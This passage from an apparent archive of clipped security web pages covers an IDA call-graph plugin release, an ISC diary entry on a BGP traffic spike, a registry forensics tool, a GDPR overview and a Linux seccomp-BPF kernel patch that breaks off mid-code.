IDA. These call graphs are pretty useless for understanding the code on the
microscopic level, instead they try to make sense of the overall layout of the
program.

And I thought,”why not release it”. It’s not pretty, and there are bugs in
there that cause occasional crashes and screams of fury. Some people can’t get
it to work at all. But hey, it might be helpful for some and I have not had
time to do much with it lately anyway.

A normal executable will produce a jumble of interconnected nodes when viewed
as call graph. This is because each node is drawn once, and the edges cross
each other to produce a crow’s nest that gets less readable the larger the
executable is.

I wanted instead to have the graph show execution branches. In order to do
this, I went away from drawing only one node of each function, and instead
draw a new node every time the function is referenced. The result is more
nodes, but also more distinct branches.

Graphs look like this:

<img src='img/ghost1-circlular.png' width='664' height='533' />

Fig.1 A Gh0st Rat, circular plot. Callida also supports horizontal and
vertical tree plots.

There is some additional functionality that might come in handy:

  * Attempts to follow CreateThreads \(edges shown in red\), call tables \(gray edges\) and non-call function references \(black edges\)
  * API calls are optionally plotted \(edges shown in green\)
  * Nodes are clickable and draggable. Dbl-click will toggle a collapse of the node, allowing the plot to be reorganized to be more readable. \(Dragging will require unchecking the “lock graph layout” option in the IDA menu.\)
  * Recursive down to arbitrary level. Be careful at first – unlimited plotting can take alot of time and has no protection against excessive memory usage. I have plots with well over 200,000 boxes.
  * Will optionally plot all code roots – i.e. nodes with no “to” xrefs.
  * When zoomed, nodes contain information about which functions/API’s are called. The reasoning is to give a gist of the contents of the function from just looking at the node. See below.

<img src='img/ghostmain.png' width='503' height='410' />

The plugin is available in binary form for now. This is downloadable from
https://docs.google.com/open?id=0B2pG–qFXr30VGRDTmhXS0haNkE

Plugin hash:  
  
SHA1 : C346A98C50C39BC33720688378EEA4320C1134F4  
  
SHA256: AB5B34C7DF13027BF2FB5C43DDFA5BF8E342418B8870A49CA9207A04F859296C

Installation is easy – just copy callida.plw to the IDA plugins folder.

Next time you start IDA, the plugin will now be found under the menu option
EDIT->Functions->Callida graph.

**Tags:**

# ISC Diary | Massive spike in BGP traffic - Possible BGP poisoning?
**Created:**| _7/5/2012 9:45:59 AM_  
---|---  
**Updated:**| _7/5/2012 9:45:59 AM_  
**Author:**| __  
**Tags:**| _network-security routers bgp_  
  

### Massive spike in BGP traffic - Possible BGP poisoning?

  * not connected with Facebook
<img src='img/Temp2_4344.png' alt='Facebook "Like"-Dummy' />

  * not connected with Twitter
<img src='img/Temp2_4346.png' alt='"Tweet this"-Dummy' />

  * not connected with Google+
<img src='img/Temp2_4343.png' alt='"Google+1"-Dummy' />

  * Einstellungen
  * 

Published: 2012-06-28,  
Last Updated: 2012-06-28 11:03:40 UTC  
by Chris Mohan \(Version: 1\)  

4 comment\(s\)

Reader Yin wrote in after noticing a huge spike in unsolicited border gateway
protocol \(BGP\) traffic. This same spike in BGP connections has also been
noted on DShield's sensors \[1\]. Thankfully he provided a packet capture
which contained numerous BGP OPEN \[2\] messages.

Here is a snippet of the BGP packet with the relevant details:

<img src='img/Temp2_4345.png' width='430' height='129' alt='alt' />

These messages all originated from the same system, based in Korea.

The Korean system IP is part of:

AS Number : AS9848

AS Name : SEJONGTELECOM-AS

  

From my understanding of BGP, this system is attempting to pass itself off as
AS 65333, a private ASN \[3\] and poison the router with false details.

Whether misconfiguration or a malicious act is unknown at this point. Most, if
not all routers should have basic protections in place to protect against this
type of event having an effect \[4\].

Please let us know if you're seeing the same thing, can added anything further
or if my analysis needs correcting.

UPDATE: Thank you to Reader Job for the clarification on private ASNs

\[1\] https://isc.sans.edu/port.html?port=179  

\[2\]
http://www.inetdaemon.com/tutorials/internet/ip/routing/bgp/operation/messages/open.shtml

\[3\] http://www.apnic.net/services/services-apnic-provides/helpdesk/faqs/asn-
faqs\#UsePrivateASN

\[4\]
http://www.inetdaemon.com/tutorials/internet/ip/routing/bgp/security/index.shtml

Chris Mohan --- Internet Storm Center Handler on Duty

Keywords: BGP internet isc sans security threat

4 comment\(s\)

Top of page

  * previous
  * next
  * 

Top of page

### Comments

Hi Chris,  
  
AS65333 is a so called 'private autonomous system', which are free to be used
by anybody. can you explain why you correlate AS65333 with Cymru's Bogon
Service? Is there data you left out of this post that supports this claim?  
  
There are many organisations that use AS65333.

posted by Job, Thu Jun 28 2012, 09:57

Hello Job,  
  
I've only seen AS 65333 used for Cymru's Bogon Service, so thanks for the
clarification. I'll update the diary.  

posted by Chris, Thu Jun 28 2012, 10:50

Unless it is seen in more than one destination, it is most likely just a lab
environment with a typo.

posted by Jason R, Thu Jun 28 2012, 16:14

I first noticed this traffic yesterday after reading about the spike in tcp/79
traffic. From a random 4 minute window yesterday we saw almost 800 unique
source IPs that were essentially scanning our IP ranges \(not sequentially
though of course\). This has very significantly tapered off today.

posted by MattS, Thu Jun 28 2012, 17:44

# rega-registry-analyzer - REGA: REGistry Analyzer - Google Project Hosting

**Created:**| _8/16/2012 9:19:50 AM_  
---|---  
**Updated:**| _8/16/2012 9:19:50 AM_  
**Author:**| __  
**Tags:**| _windows environment registry_  
  

# REGA: REGistry Analyzer

###  Components

  * **REGA** is the forensic tool performing collection and analysis of the windows registry hives. \(GUI application\)
  * **RegEX** is a console application for collecting registry hive files.

###  Supported platforms

  * Windows \(written in C/C++ and MFC\)

* * *
##  Features

###  Target OS

  * Windows NT / 2000 / XP / 2003 / 2008 / VISTA / 7 / 8 \(consumer preview\)

##  Language

  * Korean, English, Japanese

###  Features

  * Intuitive GUI based application
  * Automatically search a target computer and quickly collect registry hive files \(using RegEX\)
  * Extract forensicically meaningful information in pre-defined categories
  * Decrypt and decode registry data to enhance the readabiilty
  * Rapid search with keywords and time preriods
  * Timeline analysis
  * Create result reports \(CSV format\)

* * *
##  Functions

  * Automatically search a target computer and quickly collect registry hive files \(using RegEX\)
  * Recovery deleted registry data \(key, value and data\)
  * Analyze windows installation information including:
  *     * Owner, Organization, Installation date, and so on
  * Analyze user activities such as:
  *     * User accounts, Protected storage, Run commands, Search keywords
    * Typed URLs of internet explorer
    * Remote desktop connection, Network drive connection
    * Recently accessed folders and files
  * Analyze system configuration information such as:
  *     * List of services and drives
    * Autoruns
  * Analyze installed application and the usage history
  *     * Installed application, Application usage history
    * Application compatibility cache
    * Word process application usage history \(Microsoft office 1997-2010 and Haansoft hangle 2000-2010\)
  * Analyze installed hardware and the usage history
  *     * Installed network interface cards
    * Installed hardware \(device managers\)
    * Installed storage devices \(hdd, fdd, cd-rom, usb ...\)
  * Reporting
  *     * Create result reports \(analyzed information is saved in the CSV file format\)

* * *
##  Free version \(Unlicensed\)

  * The freeware has functional restrictions like the result shows some of all items.

* * *
###  Feedback

  * If you have any problem, suggestion, comment, or you found a bug in this program, you can add a comment on issue or send a message to junghmi@gmail.com

###  Sponsored by

  * CIST \(Center for Information Security Technologies\)
  * DFRC \(Digital Forensics Research Center\)
  * FORENSIC INSIGHT

###  For commercial version

  * 4&6TECH

  
---

# EU Data Privacy Laws: New Rules for Doing Business in Europe

**Created:**| _5/7/2017 11:09:15 PM_  
---|---  
**Updated:**| _5/7/2017 11:10:05 PM_  
**Author:**| __  
**Tags:**| _gdpr_  
  

# EU Data Privacy Laws: New Rules for Doing Business in Europe

<img src='img/Temp2_2530.jpg' width='900' height='600' alt='EU Data Privacy
Laws' />

Do you do business in Europe? Or, more precisely, does your business collect
or use any data from European consumers? If so, mark May 25, 2018 in your
calendar as that is when the General Data Protection Regulation \(GDPR\) comes
into effect. Better yet, start preparing today, as you want to examine all
your data handling procedures and processes to ensure you are in compliance.

The overarching goal of the regulation is to provide EU citizens more control
over their personal information. They are able to access their data easier,
move it to another service provider, delete it \(if there’s no reason to keep
it\), or find if a company holding their data has been hacked.

Simultaneously, the regulation intent is to improve business innovation and
create business opportunities. While many think regulation only makes business
more complex, rules that clarify and homogenize numerous other regulations
across the entire EU are, according to Andrus Ansip of the European
Commission, “a major step towards a Digital Single Market ”.

## Significant GDPR Considerations

  * **One set of rules**  
A single EU-wide law that covers all data protection requirements

  * **Data Protection Officer \(DPO\)**  
Large scale data operations and public authorities require a designated DPO

  * **One-stop shop**  
Businesses deal with one single supervisory authority \(from the their primary
country\)

  * **Data protection by design and by default**  
Design and develop new products and services with data protection standards
built-in from the start and default to privacy-friendly settings

  * **Removal of notifications**  
For most cases, obligations to notify the DPA \(Data Protection Authority\)
are unnecessary. However, risk assessment and record-keeping requirements
still exist for high risk situations.

## EU-US Privacy Shield & Umbrella Agreement

As data protection laws vary country by country, there remains substantial
confusion about the exact nature of laws handling data across borders. On a
high-level, the GDPR summary states: “ _companies based outside the EU must
apply the same rules when offering services or goods, or monitoring behavior
of individuals within the EU  _.”

For US companies, look to the EU-US Privacy Shield, a framework for
transatlantic exchanges of personal data. However, as of Feb. 1, 2017, the EU-
US Umbrella Agreement, extends judicial redress protections before U.S. courts
to individuals living in the EU. It’s an open question if these agreements
will withstand Court Challenges, new Laws or Executive Challenges.

For example, one of the Trump Administration’s first actions was passing
the Enhancing Public Safety order that stated: “ _Agencies shall, to the
extent consistent with applicable law, ensure that their privacy policies
exclude persons who are not United States citizens or lawful permanent
residents from the protections of the Privacy Act regarding personally
identifiable information.”_

Many took this as breaking the Privacy Shield. However, the European
Commission recently stated: _“The US Privacy Act has never offered data
protection rights to Europeans. The Commission negotiated two additional
instruments to ensure that EU citizens’ data is duly protected when
transferred to the US:_

_The EU-US Privacy Shield, which does not rely on the protections under the US
Privacy Act._

_The EU-US Umbrella Agreement, which enters into force on 1 February_
_ \(2017\). To finalize this agreement, the US Congress adopted a new law last
year, the US Judicial Redress Act, which extends the benefits of the US
Privacy Act to Europeans and gives them access to US courts.”_

They did add though, that they will, “ _continue to monitor the implementation
of both instruments_ ”, indicating that we might not have heard the last of
this complex issue.

## GDPR Checklist

To give you some actionable items, here’s a list of steps to prepare your
business for GDPR:

  * **Prepare for data breaches**  
Create rules and processes, so if it does happen you’ll know what to do and
limit the damage

  * **Build a Data-Safe culture**  
Develop policies, implement, train, monitor and assess.

  * **Build privacy by design**  
Have privacy in mind from the beginning of any new project

  * **Analyze your personal data processing framework**  
Is consent freely given, specific and informed? Or do you have legitimate
interest in processing personal data that overrides right to privacy?

  * **Have clear and understandable privacy notices**

  * **Be ready for citizen requests**  
Citizens have the right to be forgotten or to move their data

  * **Check your 3 rd party policies, procedures and contracts**

  * **Watch cross-border data transfers**  
Transferring private data to countries that don’t uphold the same data
protections can end up in significant fines

As the world goes increasingly digital, our data footprint, and the ability to
analyze it, is rapidly growing. Data protection laws, such as the GDPR, are
important to protect us against micro-targeting, surveillance and other data
transgressions.

They provide legal frameworks to guide data privacy procedures and help
businesses understand their requirements and limitations. They provide clear
legal ramifications for non-compliance and encourage techniques such
as anonymization \(removing personally identifiable information\) and
encryption \(encoding messages so only those authorized can read it\).

They also can cut costs, encourage innovation and increase consumer trust.
Data protection laws are necessary building blocks to take full advantage of
new digital opportunities, while retaining critical protections.

  

# Hands-On Pin\! For Architecture, Operating Systems, and Program Analysis
Research

**Created:**| _12/9/2009 2:59:58 PM_  
---|---  
**Updated:**| _12/9/2009 3:00:25 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation reversing
Tutorials_  
  
<img src='img/Temp2_3633' />

# LKML: Will Drewry: \[PATCH v12 06/13\] seccomp: add system call filtering
using BPF

**Created:**| _3/15/2012 3:22:30 PM_  
---|---  
**Updated:**| _3/15/2012 2:23:05 PM_  
**Author:**| __  
**Tags:**| _Linux kernel sandboxing_  
  
| | From| Will Drewry <>  
---|---  
Subject| \[PATCH v12 06/13\] seccomp: add system call filtering using BPF  
Date| Wed, 29 Feb 2012 17:53:33 -0600

[code]

    [This patch depends on luto@mit.edu's no_new_privs patch:  
     https://lkml.org/lkml/2012/1/30/264  
    ]  
      
    This patch adds support for seccomp mode 2.  Mode 2 introduces the  
    ability for unprivileged processes to install system call filtering  
    policy expressed in terms of a Berkeley Packet Filter (BPF) program.  
    This program will be evaluated in the kernel for each system call  
    the task makes and computes a result based on data in the format  
    of struct seccomp_data.  
      
    A filter program may be installed by calling:  
      struct sock_fprog fprog = { ... };  
      ...  
      prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog);  
    The return value of the filter program determines if the system call is  
    allowed to proceed or denied.  If the first filter program installed  
    allows prctl(2) calls, then the above call may be made repeatedly  
    by a task to further reduce its access to the kernel.  All attached  
    programs must be evaluated before a system call will be allowed to  
    proceed.  
      
    Filter programs will be inherited across fork/clone and execve.  
    However, if the task attaching the filter is unprivileged  
    (!CAP_SYS_ADMIN) the no_new_privs bit will be set on the task.  This  
    ensures that unprivileged tasks cannot attach filters that affect  
    privileged tasks (e.g., setuid binary).  
      
    There are a number of benefits to this approach. A few of which are  
    as follows:  
    - BPF has been exposed to userland for a long time  
    - BPF optimization (and JIT'ing) are well understood  
    - Userland already knows its ABI: system call numbers and desired  
      arguments  
    - No time-of-check-time-of-use vulnerable data accesses are possible.  
    - system call arguments are loaded on access only to minimize copying  
      required for system call policy decisions.  
      
    Mode 2 support is restricted to architectures that enable  
    HAVE_ARCH_SECCOMP_FILTER.  In this patch, the primary dependency is on  
    syscall_get_arguments().  The full desired scope of this feature will  
    add a few minor additional requirements expressed later in this series.  
    Based on discussion, SECCOMP_RET_ERRNO and SECCOMP_RET_TRACE seem to be  
    the desired additional functionality.  
      
    No architectures are enabled in this patch.  
      
    v12: - added a maximum instruction count per path (indan@nul.nu,oleg@redhat.com)  
         - removed copy_seccomp (keescook@chromium.org,indan@nul.nu)  
         - reworded the prctl_set_seccomp comment (indan@nul.nu)  
    v11: - reorder struct seccomp_data to allow future args expansion (hpa@zytor.com)  
         - style clean up, @compat dropped, compat_sock_fprog32 (indan@nul.nu)  
         - do_exit(SIGSYS) (keescook@chromium.org, luto@mit.edu)  
         - pare down Kconfig doc reference.  
         - extra comment clean up  
    v10: - seccomp_data has changed again to be more aesthetically pleasing  
           (hpa@zytor.com)  
         - calling convention is noted in a new u32 field using syscall_get_arch.  
           This allows for cross-calling convention tasks to use seccomp filters.  
           (hpa@zytor.com)  
         - lots of clean up (thanks, Indan!)  
     v9: - n/a  
     v8: - use bpf_chk_filter, bpf_run_filter. update load_fns  
         - Lots of fixes courtesy of indan@nul.nu:  
         -- fix up load behavior, compat fixups, and merge alloc code,  
         -- renamed pc and dropped __packed, use bool compat.  
         -- Added a hidden CONFIG_SECCOMP_FILTER to synthesize non-arch  
            dependencies  
     v7:  (massive overhaul thanks to Indan, others)  
         - added CONFIG_HAVE_ARCH_SECCOMP_FILTER  
         - merged into seccomp.c  
         - minimal seccomp_filter.h  
         - no config option (part of seccomp)  
         - no new prctl  
         - doesn't break seccomp on systems without asm/syscall.h  
           (works but arg access always fails)  
         - dropped seccomp_init_task, extra free functions, ...  
         - dropped the no-asm/syscall.h code paths  
         - merges with network sk_run_filter and sk_chk_filter  
     v6: - fix memory leak on attach compat check failure  
         - require no_new_privs || CAP_SYS_ADMIN prior to filter  
           installation. (luto@mit.edu)  
         - s/seccomp_struct_/seccomp_/ for macros/functions (amwang@redhat.com)  
         - cleaned up Kconfig (amwang@redhat.com)  
         - on block, note if the call was compat (so the # means something)  
     v5: - uses syscall_get_arguments  
           (indan@nul.nu,oleg@redhat.com, mcgrathr@chromium.org)  
          - uses union-based arg storage with hi/lo struct to  
            handle endianness.  Compromises between the two alternate  
            proposals to minimize extra arg shuffling and account for  
            endianness assuming userspace uses offsetof().  
            (mcgrathr@chromium.org, indan@nul.nu)  
          - update Kconfig description  
          - add include/seccomp_filter.h and add its installation  
          - (naive) on-demand syscall argument loading  
          - drop seccomp_t (eparis@redhat.com)  
     v4:  - adjusted prctl to make room for PR_[SG]ET_NO_NEW_PRIVS  
          - now uses current->no_new_privs  
            (luto@mit.edu,torvalds@linux-foundation.com)  
          - assign names to seccomp modes (rdunlap@xenotime.net)  
          - fix style issues (rdunlap@xenotime.net)  
          - reworded Kconfig entry (rdunlap@xenotime.net)  
     v3:  - macros to inline (oleg@redhat.com)  
          - init_task behavior fixed (oleg@redhat.com)  
          - drop creator entry and extra NULL check (oleg@redhat.com)  
          - alloc returns -EINVAL on bad sizing (serge.hallyn@canonical.com)  
          - adds tentative use of "always_unprivileged" as per  
            torvalds@linux-foundation.org and luto@mit.edu  
     v2:  - (patch 2 only)  
    Reviewed-by: Indan Zupancic <indan@nul.nu>  
    Signed-off-by: Will Drewry <wad@chromium.org>  
    ---  
     arch/Kconfig            |   17 +++  
     include/linux/Kbuild    |    1 +  
     include/linux/seccomp.h |   70 ++++++++++-  
     kernel/fork.c           |    3 +  
     kernel/seccomp.c        |  324 ++++++++++++++++++++++++++++++++++++++++++++---  
     kernel/sys.c            |    2 +-  
     6 files changed, 394 insertions(+), 23 deletions(-)  
    diff --git a/arch/Kconfig b/arch/Kconfig  
    index e5d3778..7a696a9 100644  
    --- a/arch/Kconfig  
    +++ b/arch/Kconfig  
    @@ -233,4 +233,21 @@ config HAVE_CMPXCHG_DOUBLE  
     config ARCH_WANT_OLD_COMPAT_IPC  
     	bool  
       
    +config HAVE_ARCH_SECCOMP_FILTER  
    +	bool  
    +	help  
    +	  This symbol should be selected by an architecure if it provides  
    +	  asm/syscall.h, specifically syscall_get_arguments() and  
    +	  syscall_get_arch().  
    +  
    +config SECCOMP_FILTER  
    +	def_bool y  
    +	depends on HAVE_ARCH_SECCOMP_FILTER && SECCOMP && NET  
    +	help  
    +	  Enable tasks to build secure computing environments defined  
    +	  in terms of Berkeley Packet Filter programs which implement  
    +	  task-defined system call filtering polices.  
    +  
    +	  See Documentation/prctl/seccomp_filter.txt for details.  
    +  
     source "kernel/gcov/Kconfig"  
    diff --git a/include/linux/Kbuild b/include/linux/Kbuild  
    index ecd0afb..b1e6a74 100644  
    --- a/include/linux/Kbuild  
    +++ b/include/linux/Kbuild  
    @@ -332,6 +332,7 @@ header-y += scc.h  
     header-y += sched.h  
     header-y += screen_info.h  
     header-y += sdla.h  
    +header-y += seccomp.h  
     header-y += securebits.h  
     header-y += selinux_netlink.h  
     header-y += sem.h  
    diff --git a/include/linux/seccomp.h b/include/linux/seccomp.h  
    index d61f27f..6ef133c 100644  
    --- a/include/linux/seccomp.h  
    +++ b/include/linux/seccomp.h  
    @@ -1,14 +1,67 @@  
     #ifndef _LINUX_SECCOMP_H  
     #define _LINUX_SECCOMP_H  
       
    +#include <linux/compiler.h>  
    +#include <linux/types.h>  
    +  
    +  
    +/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */  
    +#define SECCOMP_MODE_DISABLED	0 /* seccomp is not in use. */  
    +#define SECCOMP_MODE_STRICT	1 /* uses hard-coded filter. */  
    +#define SECCOMP_MODE_FILTER	2 /* uses user-supplied filter. */  
    +  
    +/*  
    + * All BPF programs must return a 32-bit value.  
    + * The bottom 16-bits are reserved for future use.  
    + * The upper 16-bits are ordered from least permissive values to most.  
    + *  
    + * The ordering ensures that a min_t() over composed return values always  
    + * selects the least permissive choice.  
    + */  
    +#define SECCOMP_RET_KILL	0x00000000U /* kill the task immediately */  
    +#define SECCOMP_RET_ALLOW	0x7fff0000U /* allow */  
    +  
    +/* Masks for the return value sections. */  
    +#define SECCOMP_RET_ACTION	0xffff0000U  
    +#define SECCOMP_RET_DATA	0x0000ffffU  
    +  
    +/**  
    + * struct seccomp_data - the format the BPF program executes over.  
    + * @nr: the system call number  
    + * @arch: indicates system call convention as an AUDIT_ARCH_* value  
    + *        as defined in <linux/audit.h>.  
    + * @instruction_pointer: at the time of the system call.  
    + * @args: up to 6 system call arguments always stored as 64-bit values  
    + *        regardless of the architecture.  
    + */  
    +struct seccomp_data {  
    +	int nr;  
    +	__u32 arch;  
    +	__u64 instruction_pointer;  
    +	__u64 args[6];  
    +};  
       
    +#ifdef __KERNEL__  
     #ifdef CONFIG_SECCOMP  
       
     #include <linux/thread_info.h>  
     #include <asm/seccomp.h>  
       
    +struct seccomp_filter;  
    +/**  
    + * struct seccomp - the state of a seccomp'ed process  
    + *  
    + * @mode:  indicates one of the valid values above for controlled  
    + *         system calls available to a process.  
    + * @filter: The metadata and ruleset for determining what system calls  
    + *          are allowed for a task.  
    + *  
    + *          @filter must only be accessed from the context of current as there  
    + *          is no locking.  
    + */  
     struct seccomp {  
     	int mode;  
    +	struct seccomp_filter *filter;  
     };  
       
     extern void __secure_computing(int);  
    @@ -19,7 +72,7 @@ static inline void secure_computing(int this_syscall)  
     }  
       
     extern long prctl_get_seccomp(void);  
    -extern long prctl_set_seccomp(unsigned long);  
    +extern long prctl_set_seccomp(unsigned long, char __user *);  
       
     static inline int seccomp_mode(struct seccomp *s)  
     {  
    @@ -31,15 +84,16 @@ static inline int seccomp_mode(struct seccomp *s)  
     #include <linux/errno.h>  
       
     struct seccomp { };  
    +struct seccomp_filter { };  
       
    -#define secure_computing(x) do { } while (0)  
    +#define secure_computing(x) 0  
       
     static inline long prctl_get_seccomp(void)  
     {  
     	return -EINVAL;  
     }  
       
    -static inline long prctl_set_seccomp(unsigned long arg2)  
    +static inline long prctl_set_seccomp(unsigned long arg2, char __user *arg3)  
     {  
     	return -EINVAL;  
     }  
    @@ -48,7 +102,15 @@ static inline int seccomp_mode(struct seccomp *s)  
     {  
     	return 0;  
     }  
    -  
     #endif /* CONFIG_SECCOMP */  
       
    +#ifdef CONFIG_SECCOMP_FILTER  
    +extern void put_seccomp_filter(struct seccomp_filter *);  
    +extern void get_seccomp_filter(struct seccomp_filter *);  
    +#else  /* CONFIG_SECCOMP_FILTER */  
    +/* These macros consume the seccomp.filter reference. */  
    +#define put_seccomp_filter(_s) do { } while (0)  
    +#define get_seccomp_filter(_s) do { } while (0)  
    +#endif /* CONFIG_SECCOMP_FILTER */  
    +#endif /* __KERNEL__ */  
     #endif /* _LINUX_SECCOMP_H */  
    diff --git a/kernel/fork.c b/kernel/fork.c  
    index b18c107..da3e489 100644  
    --- a/kernel/fork.c  
    +++ b/kernel/fork.c  
    @@ -34,6 +34,7 @@  
     #include <linux/cgroup.h>  
     #include <linux/security.h>  
     #include <linux/hugetlb.h>  
    +#include <linux/seccomp.h>  
     #include <linux/swap.h>  
     #include <linux/syscalls.h>  
     #include <linux/jiffies.h>  
    @@ -171,6 +172,7 @@ void free_task(struct task_struct *tsk)  
     	free_thread_info(tsk->stack);  
     	rt_mutex_debug_task_free(tsk);  
     	ftrace_graph_exit_task(tsk);  
    +	put_seccomp_filter(tsk->seccomp.filter);  
     	free_task_struct(tsk);  
     }  
     EXPORT_SYMBOL(free_task);  
    @@ -1166,6 +1168,7 @@ static struct task_struct *copy_process(unsigned long clone_flags,  
     		goto fork_out;  
       
     	ftrace_graph_init_task(p);  
    +	get_seccomp_filter(p->seccomp.filter);  
       
     	rt_mutex_init_task(p);  
       
    diff --git a/kernel/seccomp.c b/kernel/seccomp.c  
    index e8d76c5..71df324 100644  
    --- a/kernel/seccomp.c  
    +++ b/kernel/seccomp.c  
    @@ -3,16 +3,272 @@  
      *  
      * Copyright 2004-2005  Andrea Arcangeli <andrea@cpushare.com>  
      *  
    - * This defines a simple but solid secure-computing mode.  
    + * Copyright (C) 2012 Google, Inc.  
    + * Will Drewry <wad@chromium.org>  
    + *  
    + * This defines a simple but solid secure-computing facility.  
    + *  
    + * Mode 1 uses a fixed list of allowed system calls.  
    + * Mode 2 allows user-defined system call filters in the form  
    + *        of Berkeley Packet Filters/Linux Socket Filters.  
      */  
       
    +#include <linux/atomic.h>  
     #include <linux/audit.h>  
    -#include <linux/seccomp.h>  
    -#include <linux/sched.h>  
     #include <linux/compat.h>  
    +#include <linux/filter.h>  
    +#include <linux/sched.h>  
    +#include <linux/seccomp.h>  
    +#include <linux/security.h>  
    +#include <linux/slab.h>  
    +#include <linux/uaccess.h>  
    +  
    +#include <linux/tracehook.h>  
    +#include <asm/syscall.h>  
       
     /* #define SECCOMP_DEBUG 1 */  
    -#define NR_SECCOMP_MODES 1  
    +  
    +#ifdef CONFIG_SECCOMP_FILTER  
    +/**  
    + * struct seccomp_filter - container for seccomp BPF programs  
    + *  
    + * @usage: reference count to manage the object liftime.  
    + *         get/put helpers should be used when accessing an instance  
    + *         outside of a lifetime-guarded section.  In general, this  
    + *         is only needed for handling filters shared across tasks.  
    + * @prev: points to a previously installed, or inherited, filter  
    + * @insns: the BPF program instructions to evaluate  
    + * @len: the number of instructions in the program  
    + *  
    + * seccomp_filter objects are organized in a tree linked via the @prev  
    + * pointer.  For any task, it appears to be a singly-linked list starting  
    + * with current->seccomp.filter, the most recently attached or inherited filter.  
    + * However, multiple filters may share a @prev node, by way of fork(), which  
    + * results in a unidirectional tree existing in memory.  This is similar to  
    + * how namespaces work.  
    + *  
    + * seccomp_filter objects should never be modified after being attached  
    + * to a task_struct (other than @usage).  
    + */  
    +struct seccomp_filter {  
    +	atomic_t usage;  
    +	struct seccomp_filter *prev;  
    +	unsigned short len;  /* Instruction count */  
    +	struct sock_filter insns[];  
    +};  
    +  
    +/* Limit any path through the tree to 5 megabytes worth of instructions. */  
    +#define MAX_INSNS_PER_PATH ((5 << 20) / sizeof(struct sock_filter))  
    +  
    +static void seccomp_filter_log_failure(int syscall)  
    +{  
    +	int compat = 0;  
    +#ifdef CONFIG_COMPAT  
    +	compat = is_compat_task();  
    +#endif  
    +	pr_info("%s[%d]: %ssystem call %d blocked at 0x%lx\n",  
    +		current->comm, task_pid_nr(current),  
    +		(compat ? "compat " : ""),  
    +		syscall, KSTK_EIP(current));  
    +}  
    +  
    +/**  
    + * get_u32 - returns a u32 offset into data  
    + * @data: a unsigned 64 bit value  
    + * @index: 0 or 1 to return the first or second 32-bits  
    + *  
    + * This inline exists to hide the length of unsigned long.  
    + * If a 32-bit unsigned long is passed in, it will be extended  
    + * and the top 32-bits will be 0. If it is a 64-bit unsigned  
    + * long, then whatever data is resident will be properly returned.  
    + */  
    +static inline u32 get_u32(u64 data, int index)  
    +{  
    +	return ((u32 *)&data)[index];  
    +}  
    +  
    +/* Helper for bpf_load below. */  
    +#define BPF_DATA(_name) offsetof(struct seccomp_data, _name)  
    +/**  
    + * bpf_load: checks and returns a pointer to the requested offset  
    + * @nr: int syscall passed as a void * to bpf_run_filter  
    + * @off: offset into struct seccomp_data to load from (must be u32 aligned)  
    + * @size: number of bytes to load (must be 4 bytes)  
    + * @buf: temporary storage supplied by bpf_run_filter (4 bytes)  
    + *  
    + * Returns a pointer to the loaded data (usually @buf).  
    + * On failure, returns NULL.  
    + */  
    +static void *bpf_load(const void *nr, int off, unsigned int size, void *buf)  
    +{  
    +	unsigned long value;  
    +	u32 *A = buf;  
    +  
    +	if (size != sizeof(u32) || off % sizeof(u32))  
    +		return NULL;  
    +  
    +	if (off >= BPF_DATA(args[0]) && off < BPF_DATA(args[6])) {  
    +		struct pt_regs *regs = task_pt_regs(current);  
    +		int arg = (off - BPF_DATA(args[0])) / sizeof(u64);  
    +		int index = (off % sizeof(u64)) ? 1 : 0;  
    +		syscall_get_arguments(current, regs, arg, 1, &value);  
    +		*A = get_u32(value, index);  
    +	} else if (off == BPF_DATA(nr)) {  
    +		*A = (u32)(uintptr_t)nr;  
    +	} else if (off == BPF_DATA(arch)) {  
    +		struct pt_regs *regs = task_pt_regs(current);  
    +		*A = syscall_get_arch(current, regs);  
    +	} else if (off == BPF_DATA(instruction_pointer)) {  
    +		*A = get_u32(KSTK_EIP(current), 0);  
    +	} else if (off == BPF_DATA(instruction_pointer) + sizeof(u32)) {  
    +		*A = get_u32(KSTK_EIP(current), 1);  
    +	} else {  
    +		return NULL;  
    +	}  
    +	return buf;  
    +}  
    +  
    +/**  
    + * seccomp_run_filters - evaluates all seccomp filters against @syscall  
    + * @syscall: number of the current system call  
    + *  
    + * Returns valid seccomp BPF response codes.  
    + */  
    +static u32 seccomp_run_filters(int syscall)  
    +{  
    +	struct seccomp_filter *f;  
    +	u32 ret = SECCOMP_RET_KILL;  
    +	static const struct bpf_load_fn fns = {  
    +		bpf_load,  
    +		sizeof(struct seccomp_data),  
    +	};  
    +	const void *sc_ptr = (const void *)(uintptr_t)syscall;  
    +  
    +	/*  
    +	 * All filters are evaluated in order of youngest to oldest. The lowest  
    +	 * BPF return value always takes priority.  
    +	 */  
    +	for (f = current->seccomp.filter; f; f = f->prev) {  
    +		ret = bpf_run_filter(sc_ptr, f->insns, &fns);  
    +		if (ret != SECCOMP_RET_ALLOW)  
    +			break;  
    +	}  
    +	return ret;  
    +}  
    +  
    +/**  
    + * seccomp_attach_filter: Attaches a seccomp filter to current.  
    + * @fprog: BPF program to install  
    + *  
    + * Returns 0 on success or an errno on failure.  
    + */  
    +static long seccomp_attach_filter(struct sock_fprog *fprog)  
    +{  
    +	struct seccomp_filter *filter;  
    +	unsigned long fp_size = fprog->len * sizeof(struct sock_filter);  
    +	unsigned long total_insns = fprog->len;  
    +	long ret;  
    +  
    +	if (fprog->len == 0 || fprog->len > BPF_MAXINSNS)  
    +		return -EINVAL;  
    +  
    +	/* Walk the list to ensure the new instruction count is allowed. */  
    +	for (filter = current->seccomp.filter; filter; filter = filter->prev) {  
    +		if (total_insns > MAX_INSNS_PER_PATH - filter->len)  
    +			return -E2BIG;  
    +		total_insns += filter->len;  
    +	}  
    +  
    +	/* Allocate a new seccomp_filter */  
    +	filter = kzalloc(sizeof(struct seccomp_filter) + fp_size, GFP_KERNEL);  
    +	if (!filter)  
    +		return -ENOMEM;  
    +	atomic_set(&filter->usage, 1);  
    +	filter->len = fprog->len;  
    +  
    +	/* Copy the instructions from fprog. */  
    +	ret = -EFAULT;  
    +	if (copy_from_user(filter->insns, fprog->filter, fp_size))  
    +		goto out;  
    +  
    +	/* Check the fprog */  
    +	ret = bpf_chk_filter(filter->insns, filter->len, BPF_CHK_FLAGS_NO_SKB);  
    +	if (ret)  
    +		goto out;  
    +  
    +	/*  
    +	 * Installing a seccomp filter requires that the task have  
    +	 * CAP_SYS_ADMIN in its namespace or be running with no_new_privs.  
